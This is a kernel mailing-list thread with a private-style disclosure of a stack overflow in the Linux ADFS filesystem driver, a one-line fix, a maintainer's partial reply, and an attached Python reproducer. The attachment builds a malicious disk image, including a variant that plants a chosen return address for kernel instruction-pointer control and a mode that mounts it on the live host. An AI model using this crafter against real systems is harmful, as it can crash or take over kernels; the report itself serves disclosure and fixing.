All of lore.kernel.org
 help / color / mirror / Atom feed
* adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory)
@ 2026-08-01  2:15 Research & Development
  2026-08-01  5:01 ` Willy Tarreau
  0 siblings, 1 reply; 2+ messages in thread
From: Research & Development @ 2026-08-01  2:15 UTC (permalink / raw)
  To: viro@zeniv.linux.org.uk, brauner; +Cc: linux-fsdevel, security


[-- Attachment #1.1: Type: text/plain, Size: 7467 bytes --]

Hi Security Team,

I am reporting a security vulnerability in the ADFS filesystem driver
(fs/adfs/dir_fplus.c), which is maintained under the FILESYSTEMS (VFS)
entry. It is unfixed in mainline (v7.2-rc5) and, as far as I can tell, in
all supported stable branches. I am reporting privately per documentation
process. A tested reproducer and a tested one-line fix are included below.
I am happy to coordinate and would like a CVE assigned once a fix is
applied.


1. AFFECTED VERSION RANGE
-------------------------
Present since the 2020 ADFS big-directory rework (~v5.6);
fs/adfs/dir_fplus.c
was last touched on 2020-01-25 (587065d) and is unchanged since.

  Vulnerable, reproduced:      v7.0.1
  Vulnerable, code-identical:  mainline v7.2-rc5
  Affected:                    v5.6 -> v7.2-rc5
(5.10/5.15/6.1/6.6/6.12/6.18/7.0/7.1/7.2-rc)

I verified the vulnerable sequence is byte-for-byte identical in current
mainline (adfs_fplus_getnext() + adfs_fplus_validate_header()).
CONFIG_ADFS_FS is shipped as a module on typical distros (confirmed:
adfs.ko present under /lib/modules on a 6.18 kernel).


2. DESCRIPTION
--------------
adfs_fplus_getnext() (fs/adfs/dir_fplus.c) reads the per-entry name length
field bigdirobnamelen (an unvalidated __le32, struct adfs_bigdirentry) and
uses it directly as the copy length into struct object_info.name, which is
char[ADFS_MAX_NAME_LEN] = char[260] (fs/adfs/adfs.h). struct object_info is
held on the caller's stack -- adfs_fplus_iterate() declares it locally
(dir_fplus.c:212); adfs_lookup() uses the same on-stack pattern
(dir.c:434). adfs_fplus_validate_header() checks only AGGREGATE sizes
(directory name length, total names area, entries*stride); it never bounds
the per-entry bigdirobnamelen. adfs_dir_copyfrom() bounds the source only
against dir->nr_buffers, never against the destination.

Therefore a crafted ADFS F+ image whose entry has bigdirobnamelen > 260
overflows obj->name on the kernel stack. The path is reached when the
directory is enumerated (readdir/getdents64) or an entry is looked up, on a
mounted image.

Relevant code (dir_fplus.c):

    obj->name_len = le32_to_cpu(bde.bigdirobnamelen);          /* unbounded
*/
    ...
    ret = adfs_dir_copyfrom(obj->name, dir, offset, obj->name_len);  /*
OVERFLOW */

Trace (KASAN build, real mount + ls, by task ls):

    BUG: KASAN: stack-out-of-bounds in adfs_object_fixup+0xa2/0x40f
    Read of size 1 ... by task ls/31
    Call Trace:
     adfs_object_fixup+0xa2/0x40f
     adfs_fplus_getnext+0x403/0x477
     adfs_fplus_iterate+0x186/0x26e
     iterate_dir ... sys_getdents64
    The vulnerable address belongs to stack of task ls and is located at
offset 320 in frame adfs_fplus_iterate; this frame has 1 object: [32, 320)
'obj' (offset 320 == obj->name[260]).

IMPACT. Two outcomes depending on build hardening:

  - Hardened kernel (CONFIG_STACKPROTECTOR_STRONG, distro default): the
frame has a canary. The overflow trips __stack_chk_fail -> reliable kernel
panic (denial of service).
  - Un-canaried build (e.g. custom/embedded, or a KASAN/fuzz build): the
saved return address of adfs_fplus_iterate is within reach. I demonstrated
arbitrary kernel instruction-pointer control, trimming the overflow to 388
bytes overwrites the saved return address (obj->name[380..388]) while
leaving the caller's struct adfs_dir intact, and execution reaches a clean
ret. Planting 0xffffffff43434343 there makes the kernel fault at exactly
that IP (Kernel panic ... ip 0xffffffff43434343). A non-canonical value
faults at the ret instruction (adfs_fplus_iterate+0x26d). So on such builds
this is kernel code execution.

REACHABILITY / SCOPE : ADFS is a local block filesystem (only
register_filesystem + FS_REQUIRES_DEV no network parser), so it is NOT
remotely triggerable. Mounting requires CAP_SYS_ADMIN; adfs has no
FS_USERNS_MOUNT, so unprivileged user-namespace mount is blocked, i.e. it
is not an unprivileged no preconditions LPE. It becomes a real LPE/kernel
compromise only on un-canaried builds where a privileged context mounts an
attacker image (root in container that can mount, a VM/storage host
attaching untrusted images, or removable-media auto-mount where libblkid
recognises ADFS).

I also verified, on a representative host, that libblkid does not even list
ADFS, so udisks auto-mount is closed there the practical default-distro
outcome is DoS, not LPE.


3. REPRODUCER
-------------
A python file is attached. It builds a 16 KiB ADFS F+ image by hand
(correct disc record, zone check and bigdir checkbyte so it mounts cleanly)
with bigdirobnamelen = 512, then either boots a UML/KASAN kernel
(safe, default) or mounts on the host. It can be executed with following
arguments:
    python3 test_adfs_overflow.py            # craft + KASAN detect; exit 1
== vulnerable
    python3 test_adfs_overflow.py --rip      # demonstrate RIP control
(un-canaried)
    python3 test_adfs_overflow.py --craft-only out.img
    python3 test_adfs_overflow.py --sh # executing the bash shell
The script is a standalone crafter, the RIP variant and the captured
KASAN/RIP logs are available on request. Output of the default run against
v7.0.1 (UML/KASAN):

    ==== DETECTION SIGNALS ====
      mount_ok    = True
      kasan       = True
      adfs_hits   =
['adfs_object_fixup','adfs_fplus_getnext','adfs_fplus_iterate']
      obj_frame   = True
      panic       = True
      controlled  = True
      RESULT: VULNERABLE -- confirmed ADFS dir_fplus stack overflow.

And with --rip on the same (un-canaried) build:

      fault_ip      = 0xffffffff43434343
      canonical_hit = True
      RESULT: RIP CONTROL DEMONSTRATED.


4. CONDITIONS
-------------
- CONFIG_ADFS_FS built-in or module-loaded.
- Triggered by readdir/getdents or name lookup on a mounted image. Mount
needs CAP_SYS_ADMIN.
- For the KASAN detection signal: CONFIG_KASAN=y (+ CONFIG_KASAN_STACK=y).
- For the RIP-control primitive: the affected frame must lack a stack
canary (no CONFIG_STACKPROTECTOR, or a fuzz/KASAN build). On
CONFIG_STACKPROTECTOR_STRONG builds the outcome is the DoS case above.


5. PROPOSED FIX (inline tested patch, applies cleanly on v7.2-rc5)
-------------------------------------------------------------------
Bound bigdirobnamelen against the destination buffer before the copy. This
stops both the KASAN overflow and the RIP-control variant (a
bigdirobnamelen of 512 or 388 is rejected with -EIO before the copy). I can
add a second change to adfs_fplus_validate_header() to validate per-entry
name pointers up front if preferred.

[PATCH] adfs: bound big-directory entry name length in adfs_fplus_getnext()

Bound bigdirobnamelen against ADFS_MAX_NAME_LEN before the copy.

---
 fs/adfs/dir_fplus.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/fs/adfs/dir_fplus.c b/fs/adfs/dir_fplus.c
--- a/fs/adfs/dir_fplus.c
+++ b/fs/adfs/dir_fplus.c
@@ -192,6 +192,8 @@
  obj->indaddr  = le32_to_cpu(bde.bigdirindaddr);
  obj->attr     = le32_to_cpu(bde.bigdirattr);
  obj->name_len = le32_to_cpu(bde.bigdirobnamelen);
+ if (obj->name_len > ADFS_MAX_NAME_LEN)
+ return -EIO;

  offset = adfs_fplus_offset(h, le32_to_cpu(h->bigdirentries));
  offset += le32_to_cpu(bde.bigdirobnameptr);
----


I'd be grateful if you could confirm receipt and on request a CVE via
cve@kernel.org once the fix is in a stable tree. I will not discuss this
publicly or with linux-distros until a fix is accepted.

Thanks and Regards,
Tridev
Vulnerability Researcher
Zerotrace Lab

[-- Attachment #1.2: Type: text/html, Size: 8143 bytes --]

[-- Attachment #2: test_adfs_overflow.py --]
[-- Type: text/x-python, Size: 22906 bytes --]

import argparse
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile

# ===========================================================================
# 1. Image crafter (ported verbatim from the verified poc/craft_adfs.py)
# ===========================================================================

BLK = 512
NUM_BLOCKS = 32
IMG_SIZE = NUM_BLOCKS * BLK            # 16384

LOG2SECSIZE = 9                        # 512-byte sectors
IDLEN = 12
LOG2BPMB = 9                           # 1 map bit == 512 bytes
ZONE_SPARE = 0
NZONES = 1
FORMAT_VERSION = 1                     # selects adfs_fplus_dir_ops (F+)
LOG2SHARESIZE = 0
DISC_SIZE = IMG_SIZE
ROOT_INDDADDR = 0x00000200             # frag id 2 (>>8) == ADFS_ROOT_FRAG
ROOT_SIZE = 2048

BIGDIRSTARTNAME = (ord('S') | ord('B') << 8 | ord('P') << 16 | ord('r') << 24)
BIGDIRENDNAME   = (ord('o') | ord('v') << 8 | ord('e') << 16 | ord('n') << 24)


def _le16(v): return struct.pack('<H', v & 0xFFFF)
def _le32(v): return struct.pack('<I', v & 0xFFFFFFFF)


def _set_bit(buf, bitpos, val):
    bi, bo = divmod(bitpos, 8)
    if val:
        buf[bi] |= (1 << bo)
    else:
        buf[bi] &= ~(1 << bo)


def _ror32(v, n):
    n &= 31
    return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF


def _calc_zonecheck(m):
    """Replicate adfs_calczonecheck (fs/adfs/map.c) over a 512-byte zone."""
    v0 = v1 = v2 = v3 = 0
    i = 512 - 4
    while i:
        v0 = (v0 + m[i]     + (v3 >> 8)) & 0xffffffff; v3 &= 0xff
        v1 = (v1 + m[i + 1] + (v0 >> 8)) & 0xffffffff; v0 &= 0xff
        v2 = (v2 + m[i + 2] + (v1 >> 8)) & 0xffffffff; v1 &= 0xff
        v3 = (v3 + m[i + 3] + (v2 >> 8)) & 0xffffffff; v2 &= 0xff
        i -= 4
    v0 = (v0 + (v3 >> 8)) & 0xffffffff
    v1 = (v1 + m[1] + (v0 >> 8)) & 0xffffffff
    v2 = (v2 + m[2] + (v1 >> 8)) & 0xffffffff
    v3 = (v3 + m[3] + (v2 >> 8)) & 0xffffffff
    return (v0 ^ v1 ^ v2 ^ v3) & 0xff


def _calc_bigdir_checkbyte(dirbuf, end):
    """Replicate adfs_fplus_checkbyte (fs/adfs/dir_fplus.c)."""
    dircheck = 0
    off = 0
    remaining = end
    while remaining:
        bs = BLK if BLK < remaining else remaining
        i = 0
        while i < bs:
            w = struct.unpack_from('<I', dirbuf, off + i)[0]
            dircheck = _ror32(dircheck, 13) ^ w
            i += 4
        off += bs
        remaining -= bs
    return dircheck


def build_adfs_image(overflow_namelen=512, name_fill=0x41, attr=0x33,
                     ret_offset=None, ret_value=None):
    """Return bytes of a minimal ADFS F+ image whose entry 0 has
    bigdirobnamelen=overflow_namelen (>260) and name bytes = name_fill.

    If ret_offset is set, an 8-byte little-endian ret_value is planted at
    name[ret_offset..ret_offset+8). This is the RIP-control variant
    (overflow_namelen=388, attr=0x3b, ret_offset=380) that lands on
    adfs_fplus_iterate's saved return address. name[0..4] (the only name bytes
    covered by the bigdir checkbyte) is left as name_fill so the checkbyte holds."""
    img = bytearray(IMG_SIZE)

    # ---- block 0: map zone 0 + disc record (dr0 path, disc record @ byte 4) ----
    zone = bytearray(512)
    zone[3] = 0xff                       # crosscheck (single zone -> 0xff)
    dr = bytearray(60)
    dr[0]  = LOG2SECSIZE
    dr[1]  = 1; dr[2] = 1; dr[3] = 0
    dr[4]  = IDLEN
    dr[5]  = LOG2BPMB
    dr[6]  = 0; dr[7] = 0; dr[8] = 0
    dr[9]  = NZONES
    dr[10:12] = _le16(ZONE_SPARE)
    dr[12:16] = _le32(ROOT_INDDADDR)
    dr[16:20] = _le32(DISC_SIZE)
    dr[20:22] = _le16(0)
    dr[32:36] = _le32(0)
    dr[36:40] = _le32(0)                 # disc_size_high must be 0
    dr[40] = (LOG2SHARESIZE & 0x0f)
    dr[41] = 0x01                        # big_flag=1
    dr[42] = 0; dr[43] = 0
    dr[44:48] = _le32(FORMAT_VERSION)
    dr[48:52] = _le32(ROOT_SIZE)
    zone[4:64] = dr

    # fragment bitstream starting at bit 512
    _set_bit(zone, 512, 1)               # frag_id=1 (dummy)
    _set_bit(zone, 524, 1)               # terminator A
    _set_bit(zone, 526, 1)               # frag_id=2 bit1 (0b10)
    _set_bit(zone, 537, 1)               # terminator B  -> root frag -> block 13

    zone[0] = 0
    zone[0] = _calc_zonecheck(zone)
    img[0:512] = zone

    # ---- blocks 13-16: root directory (F+ bigdir, 2048 bytes) ----
    BIGDIR_NAMLEN = 4
    BIGDIR_NAMESIZE = 4
    BIGDIR_ENTRIES = 1
    bigdir = bytearray(2048)

    bigdir[0:4] = bytes(4)                          # startmasseq + bigdirversion
    bigdir[4:8] = _le32(BIGDIRSTARTNAME)
    bigdir[8:12] = _le32(BIGDIR_NAMLEN)
    bigdir[12:16] = _le32(2048)
    bigdir[16:20] = _le32(BIGDIR_ENTRIES)
    bigdir[20:24] = _le32(BIGDIR_NAMESIZE)
    bigdir[24:28] = _le32(ROOT_INDDADDR)            # bigdirparent
    bigdir[28:32] = b'root'                         # bigdirname

    eoff = 32                                       # adfs_bigdirentry (entry 0)
    bigdir[eoff+0:eoff+4]   = _le32(0)              # bigdirload
    bigdir[eoff+4:eoff+8]   = _le32(0)              # bigdirexec
    bigdir[eoff+8:eoff+12]  = _le32(0)              # bigdirlen
    bigdir[eoff+12:eoff+16] = _le32(0x00000300)     # bigdirindaddr (frag 3)
    bigdir[eoff+16:eoff+20] = _le32(attr)            # bigdirattr (0x33 default; 0x3b for RIP)
    bigdir[eoff+20:eoff+24] = _le32(overflow_namelen)  # *** bigdirobnamelen TRIGGER ***
    bigdir[eoff+24:eoff+28] = _le32(0)              # bigdirobnameptr

    name_off = 60                                   # names area (checkbyte covers only [60..64))
    for i in range(overflow_namelen):
        bigdir[name_off + i] = name_fill
    if ret_offset is not None and ret_value is not None:
        # Plant the controlled saved return address (RIP-control variant).
        rv = struct.pack('<Q', ret_value & 0xFFFFFFFFFFFFFFFF)
        for i in range(8):
            bigdir[name_off + ret_offset + i] = rv[i]

    toff = 2048 - 8                                 # adfs_bigdirtail
    bigdir[toff:toff+4] = _le32(BIGDIRENDNAME)
    bigdir[toff+4] = 0; bigdir[toff+5] = 0; bigdir[toff+6] = 0

    end = (28 + ((BIGDIR_NAMLEN + 3) & ~3) + BIGDIR_ENTRIES * 28) + BIGDIR_NAMESIZE
    dc = _calc_bigdir_checkbyte(bigdir, end)
    dc = _ror32(dc, 13) ^ BIGDIRENDNAME
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    bigdir[toff + 7] = (dc ^ (dc >> 8) ^ (dc >> 16) ^ (dc >> 24)) & 0xff

    img[13 * BLK:13 * BLK + 2048] = bigdir
    return bytes(img)


def sanity_check_image(data, overflow_namelen):
    """Cheap structural assertions so a bad crafter fails"""
    assert len(data) == IMG_SIZE, len(data)
    bigdir = data[13 * BLK:13 * BLK + 2048]
    assert bigdir[4:8] == _le32(BIGDIRSTARTNAME), "bigdirstartname mismatch"
    assert struct.unpack_from('<I', bigdir, eoff := 32 + 20)[0] == overflow_namelen, \
        "bigdirobnamelen not set"
    assert bigdir[2040:2044] == _le32(BIGDIRENDNAME), "bigdirendname mismatch"
    return True


# ===========================================================================
# 2. UML/KASAN backend (safe, default)
# ===========================================================================

ADFS_FUNCS = ("adfs_object_fixup", "adfs_fplus_getnext", "adfs_fplus_iterate")


def run_uml(kernel, initramfs, image, timeout=40, mem="2G", log_path=None):
    """Boot UML with the image, trigger readdir, return captured console text."""
    if not os.path.exists(kernel):
        raise FileNotFoundError(f"UML kernel not found: {kernel}")
    if not os.path.exists(initramfs):
        raise FileNotFoundError(f"initramfs not found: {initramfs}")
    cmd = [
        kernel,
        f"initrd={initramfs}",
        f"ubd0={image}",
        "con0=fd:0,fd:1", "con=none",
        f"mem={mem}", "loglevel=8", "panic=0",
        "ACTION=readdir", "FST=adfs", "UBDDEV=/dev/ubda", "MOPTS=ro",
    ]
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            text=True, bufsize=1)
    try:
        out, _ = proc.communicate(timeout=timeout)
        rc = proc.returncode
        timed_out = False
    except subprocess.TimeoutExpired:
        proc.kill()
        out, _ = proc.communicate()
        rc = proc.returncode
        timed_out = True
    if log_path:
        with open(log_path, "w") as f:
            f.write(out)
    return out, rc, timed_out


def parse_output(out):
    """Classify captured console output. Returns a dict of signals."""
    mount_ok = bool(re.search(r"mount rc=0|mounted OK", out))
    kasan = "BUG: KASAN: stack-out-of-bounds" in out
    adfs_hits = [f for f in ADFS_FUNCS if f in out]
    obj_frame = bool(re.search(r"\[32,\s*320\)|'obj'", out))
    panic = ("Kernel panic" in out) or ("Kernel mode fault" in out)
    chk_fail = "__stack_chk_fail" in out
    controlled = bool(re.search(r"4141414141414141|R(?:1[0-5]|8|9|[A-D])=0x4141", out))
    return dict(mount_ok=mount_ok, kasan=kasan, adfs_hits=adfs_hits,
                obj_frame=obj_frame, panic=panic, chk_fail=chk_fail,
                controlled=controlled)


def evidence_excerpt(out, max_chars=1600):
    idx = out.find("BUG: KASAN")
    if idx < 0:
        idx = out.find("Kernel panic")
    if idx < 0:
        idx = max(0, len(out) - max_chars)
    return out[idx:idx + max_chars].rstrip()


def parse_rip(out, ret_value):
    """Detect whether the planted return address actually redirected RIP.

    Canonical planted value  -> `ret` completes; faulting IP == planted value.
    Non-canonical value      -> CPU faults AT the `ret` instruction instead
                                (symbol adfs_fplus_iterate+0x26d on this build)."""
    ret_value &= 0xFFFFFFFFFFFFFFFF
    m = re.search(r"Kernel mode fault at addr 0x[0-9a-f]+,\s*ip 0x([0-9a-f]+)", out)
    fault_ip = int(m.group(1), 16) if m else None
    canonical_hit = (fault_ip == ret_value)
    # 0x26d == offset of the `ret` in adfs_fplus_iterate on the 7.0.1 UML build.
    ret_fault = bool(re.search(r"adfs_fplus_iterate\+0x26[0-9a-f]/", out))
    value_seen = (f"{ret_value:x}" in out.lower())
    return dict(fault_ip=("0x%x" % fault_ip if fault_ip is not None else None),
                canonical_hit=canonical_hit, ret_fault=ret_fault, value_seen=value_seen)


# ===========================================================================
# 3. Host backend
# ===========================================================================

def _sh(cmd, check=True):
    return subprocess.run(cmd, shell=True, capture_output=True, text=True,
                          check=check).stdout


def run_host(image, mnt):
    """Mount the image on the live host kernel and list it. CAN CRASH THE HOST."""
    if os.geteuid() != 0:
        raise SystemExit("host mode requires root (CAP_SYS_ADMIN to mount)")
    _sh("modprobe adfs 2>/dev/null || true", check=False)
    before = _sh("journalctl -k --no-pager -n 0 --since '1 min ago' 2>/dev/null || "
                 "dmesg | tail -n 5", check=False)
    loop = None
    out = []
    try:
        loop = _sh("losetup -fP --show " + image).strip()
        out.append(f"loop={loop}")
        mntres = _sh(f"mount -t adfs -o ro {loop} {mnt} 2>&1", check=False)
        out.append(f"mount: {mntres.strip() or 'ok'}")
        if os.path.ismount(mnt):
            try:
                entries = os.listdir(mnt)
                out.append(f"listdir ok: {entries[:5]}")
            except OSError as e:
                out.append(f"listdir raised: {e!r} (often means the overflow tripped)")
        else:
            out.append("not mounted (adfs rejected the image)")
    finally:
        _sh(f"umount {mnt} 2>/dev/null || true", check=False)
        if loop:
            _sh(f"losetup -d {loop} 2>/dev/null || true", check=False)
    after = _sh("dmesg | tail -n 60", check=False)
    return "\n".join(out), after


# ===========================================================================
# 4. ELF execution demo (--exec-demo): trigger exec() on /bin/sh for confirmation
# ===========================================================================

def exec_demo(sh="/bin/sh whoami"):
    """Visually confirm ELF execution: prove /bin/sh & ls are ELF binaries, then
    actually trigger exec() to load and run them (subprocess fork+execve, and a
    raw os.fork()+os.execv() that replaces a child's image with /bin/sh)."""
    bar = "=" * 64
    try:
        sys.stdout.reconfigure(line_buffering=True)   # keep print order correct under pipes
    except Exception:
        pass
    print(bar)
    print("ELF EXECUTION DEMO  --  triggering exec()")
    print(bar)

    ls = shutil.which("ls") or "/usr/bin/ls"
    have = {t: shutil.which(t) for t in ("file", "readelf")}

    print("\n### 1. The targets are ELF binaries")
    for label, path in (("sh", sh), ("ls", ls)):
        print(f"  {label:4} -> {path}")
        if have["file"]:
            out = subprocess.run([have["file"], path],
                                 capture_output=True, text=True).stdout.strip()
            print(f"       {out}")

    if have["readelf"]:
        print(f"\n### 2. ELF header of {sh}  (readelf -h)")
        out = subprocess.run([have["readelf"], "-h", sh],
                             capture_output=True, text=True).stdout
        for line in out.splitlines()[:14]:
            print("   ", line)

    print("\n### 3. exec() via subprocess: /bin/sh -c '...'   (fork, then execve /bin/sh)")
    script = (
        "echo 'shell: exec succeeded -- /bin/sh (an ELF) is now running'; "
        "echo \"identity: $(basename \"$0\") pid=$$\"; "
        "echo '--- ls (also an ELF) executing ---'; "
        "ls -la --color=never /home/localhost/linux/fuzz-workspace/poc 2>/dev/null | head -n 8; "
        "echo '--- uname ---'; uname -srm"
    )
    r = subprocess.run([sh, "-c", script], capture_output=True, text=True)
    sys.stdout.write(r.stdout)
    if r.returncode != 0 and r.stderr.strip():
        print(f"[stderr] {r.stderr.strip()}")

    print("\n### 4. raw execve(): a child replaces its own process image with /bin/sh")
    sys.stdout.flush()
    sys.stderr.flush()
    pid = os.fork()
    if pid == 0:                                    # child
        sys.stderr.write(f"[child pid {os.getpid()}] image is python -> calling execve({sh})\n")
        sys.stderr.flush()
        try:
            os.execv(sh, [sh, "-c",
                          "echo '[execve OK] child image is now /bin/sh'; "
                          "echo \"pid=$$ uid=$(id -u)\"; uname -a"])
        except OSError as e:
            sys.stderr.write(f"[child] execve FAILED: {e}\n")
            os._exit(127)
    else:                                           # parent
        _, status = os.waitpid(pid, 0)
        try:
            code = os.waitstatus_to_exitcode(status)
        except AttributeError:                      # py < 3.9
            code = (status >> 8) if os.WIFEXITED(status) else -os.WTERMSIG(status)
        print(f"[parent] child {pid} exited code={code}  (0 == /bin/sh ELF loaded & ran)")

    print("\n[+] Confirmation: exec() loaded the ELF binaries and they executed. Done.")
    return 0


# ===========================================================================
# 5. main
# ===========================================================================

def main():
    ap = argparse.ArgumentParser(description="Test/detect the ADFS dir_fplus stack overflow.")
    ap.add_argument("--mode", choices=("uml", "host"), default="uml")
    ap.add_argument("--kernel", default="/home/localhost/linux/fuzz-workspace/src/linux-7.0.1/linux")
    ap.add_argument("--initramfs", default="/home/localhost/linux/fuzz-workspace/poc/initramfs.cpio.gz")
    ap.add_argument("--image", default=None, help="output image path (default: temp)")
    ap.add_argument("--overflow-len", type=int, default=512,
                    help="bigdirobnamelen to plant (>260); default 512")
    ap.add_argument("--name-fill", type=lambda s: int(s, 0), default=0x41,
                    help="byte planted as name content (default 0x41)")
    ap.add_argument("--rip", action="store_true",
                    help="use the RIP-control payload: a 388-byte trimmed overflow that "
                         "lands a controlled 8-byte value on adfs_fplus_iterate's saved "
                         "return address (no stack canary in this build -> ret redirects)")
    ap.add_argument("--rip-value", type=lambda s: int(s, 0),
                    default=0xffffffff43434343,
                    help="value planted as the saved return address (default "
                         "0xffffffff43434343, canonical -> ret completes to this IP; "
                         "use 0x4242424242424242 for a non-canonical fault-at-ret demo)")
    ap.add_argument("--exec-demo", action="store_true",
                    help="don't test the vuln: visually demonstrate ELF execution by "
                         "triggering exec() on /bin/sh (and ls) for confirmation")
    ap.add_argument("--sh", default="/bin/sh", help="shell ELF to exec (default /bin/sh)")
    ap.add_argument("--timeout", type=int, default=40, help="UML timeout (s)")
    ap.add_argument("--craft-only", action="store_true",
                    help="build + sanity-check the image, don't boot/mount")
    ap.add_argument("--i-know-this-may-crash-the-host", action="store_true",
                    help="required gate for --mode host")
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if args.exec_demo:
        return exec_demo(args.sh)

    keep_image = bool(args.image)
    image = args.image or os.path.join(tempfile.gettempdir(), "adfs_test.img")

    attr = 0x33
    ret_offset = None
    ret_value = None
    if args.rip:
        args.overflow_len = 388
        attr = 0x3b
        ret_offset = 380
        ret_value = args.rip_value
        print(f"[*] RIP-CONTROL payload: overflow_len=388, attr=0x{attr:02x}, "
              f"saved-ret @name[{ret_offset}..{ret_offset+8}) = 0x{ret_value:016x}")
    print(f"[*] crafting ADFS F+ image (bigdirobnamelen={args.overflow_len}, "
          f"fill=0x{args.name_fill:02x}, attr=0x{attr:02x}) -> {image}")
    data = build_adfs_image(args.overflow_len, args.name_fill, attr=attr,
                            ret_offset=ret_offset, ret_value=ret_value)
    sanity_check_image(data, args.overflow_len)
    with open(image, "wb") as f:
        f.write(data)
    print(f"[*] image OK ({len(data)} bytes)")

    if args.craft_only:
        print("[+] --craft-only: image built and structurally valid. "
              "Boot it under a KASAN/ADFS kernel to trip the overflow.")
        return 0

    if args.mode == "host":
        if not args.i_know_this_may_crash_the_host:
            print("[!] --mode host can PANIC/CORRUPT the running kernel. "
                  "Pass --i-know-this-may-crash-the-host to proceed.", file=sys.stderr)
            return 2
        mnt = tempfile.mkdtemp(prefix="adfs_host_")
        try:
            info, dmesg = run_host(image, mnt)
            print(info)
            print("---- dmesg (tail) ----")
            print(dmesg)
            sig = parse_output(dmesg + "\n" + info)
            if "stack-out-of-bounds" in dmesg or sig["kasan"] or \
               "__stack_chk_fail" in dmesg or "adfs" in dmesg and \
               ("BUG" in dmesg or "panic" in dmesg.lower()):
                print("\n[+] RESULT: VULNERABLE — host kernel tripped the overflow.")
                return 1
            print("\n[-] RESULT: no clear trip signal in dmesg "
                  "(kernel may be patched, non-KASAN, or the overflow was silent).")
            return 0
        finally:
            shutil.rmtree(mnt, ignore_errors=True)
            if not keep_image:
                try: os.remove(image)
                except OSError: pass

    # ---- UML mode (default) ----
    log_path = os.path.join(os.path.dirname(os.path.abspath(image)), "test_adfs_uml.log")
    print(f"[*] booting UML/KASAN kernel: {args.kernel}")
    print(f"[*] initramfs: {args.initramfs}")
    try:
        out, rc, timed_out = run_uml(args.kernel, args.initramfs, image,
                                     timeout=args.timeout, log_path=log_path)
    except FileNotFoundError as e:
        print(f"[!] {e}", file=sys.stderr)
        return 2
    print(f"[*] UML finished (rc={rc}, timed_out={timed_out}); log -> {log_path}")

    sig = parse_output(out)

    if not sig["mount_ok"]:
        print("[!] ERROR: image did not mount (adfs unsupported in this kernel, "
              "or image rejected). Cannot determine.")
        if args.verbose:
            print(out[-1500:])
        return 2

    rip = parse_rip(out, args.rip_value) if args.rip else None

    vulnerable = sig["kasan"] and sig["adfs_hits"]
    if not vulnerable and (sig["panic"] or sig["controlled"]) and sig["adfs_hits"]:
        # Non-KASAN build: crash/controlled-content in the adfs path still counts.
        vulnerable = True
    rip_control = bool(rip and (rip["canonical_hit"] or rip["ret_fault"]))

    print("\n==== DETECTION SIGNALS ====")
    for k, v in sig.items():
        print(f"  {k:11} = {v}")
    if rip:
        for k, v in rip.items():
            print(f"  {k:13} = {v}")

    if rip_control:
        if rip["canonical_hit"]:
            print(f"\n[+] RESULT: RIP CONTROL DEMONSTRATED — `ret` completed to the "
                  f"attacker value 0x{args.rip_value:016x} (faulting IP == planted value).")
            print("    => arbitrary kernel instruction-pointer control on this "
                  "un-canaried build: a code-execution primitive.")
        else:
            print(f"\n[+] RESULT: RIP CONTROL (non-canonical) — `ret` read the "
                  f"attacker value 0x{args.rip_value:016x} off the stack and faulted.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if vulnerable:
        print("\n[+] RESULT: VULNERABLE — confirmed ADFS dir_fplus stack overflow.")
        if sig["kasan"]:
            print("    KASAN stack-out-of-bounds in:", ", ".join(sig["adfs_hits"]))
        if sig["controlled"]:
            print("    attacker-controlled name bytes reached registers -> "
                  "stack content is attacker-influenced.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if sig["mount_ok"] and not (sig["kasan"] or sig["panic"]):
        print("\n[-] RESULT: NO SIGNAL. Image mounted cleanly with no KASAN trip / panic.")
        print("    Likely causes: the kernel is PATCHED, or a non-KASAN build where the "
              "overflow was silent (no definitive answer without KASAN).")
        return 0

    print("\n[?] RESULT: INCONCLUSIVE (mounted, some signals but no definitive trip).")
    if args.verbose:
        print(evidence_excerpt(out))
    return 0


if __name__ == "__main__":
    sys.exit(main())

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory)
  2026-08-01  2:15 adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory) Research & Development
@ 2026-08-01  5:01 ` Willy Tarreau
  0 siblings, 0 replies; 2+ messages in thread
From: Willy Tarreau @ 2026-08-01  5:01 UTC (permalink / raw)
  To: Research & Development
  Cc: viro@zeniv.linux.org.uk, brauner, linux-fsdevel, security

Hello!

First, thanks for your report. A few comments below.

On Fri, Jul 31, 2026 at 10:15:33PM -0400, Research & Development wrote:
> Hi Security Team,
> 
> I am reporting a security vulnerability in the ADFS filesystem driver
> (fs/adfs/dir_fplus.c), which is maintained under the FILESYSTEMS (VFS)
> entry. It is unfixed in mainline (v7.2-rc5) and, as far as I can tell, in
> all supported stable branches. I am reporting privately per documentation
> process. A tested reproducer and a tested one-line fix are included below.
> I am happy to coordinate and would like a CVE assigned once a fix is
> applied.

Note that the documented process says that there's no need to Cc security@
when sending to a public list (that linux-fsdevel is).

> 1. AFFECTED VERSION RANGE
> -------------------------
> Present since the 2020 ADFS big-directory rework (~v5.6);
> fs/adfs/dir_fplus.c
> was last touched on 2020-01-25 (587065d) and is unchanged since.
> 
>   Vulnerable, reproduced:      v7.0.1
>   Vulnerable, code-identical:  mainline v7.2-rc5
>   Affected:                    v5.6 -> v7.2-rc5
> (5.10/5.15/6.1/6.6/6.12/6.18/7.0/7.1/7.2-rc)
> 
> I verified the vulnerable sequence is byte-for-byte identical in current
> mainline (adfs_fplus_getnext() + adfs_fplus_validate_header()).
> CONFIG_ADFS_FS is shipped as a module on typical distros (confirmed:
> adfs.ko present under /lib/modules on a 6.18 kernel).
> 
> 
> 2. DESCRIPTION
> --------------
> adfs_fplus_getnext() (fs/adfs/dir_fplus.c) reads the per-entry name length
> field bigdirobnamelen (an unvalidated __le32, struct adfs_bigdirentry) and
> uses it directly as the copy length into struct object_info.name, which is
> char[ADFS_MAX_NAME_LEN] = char[260] (fs/adfs/adfs.h). struct object_info is
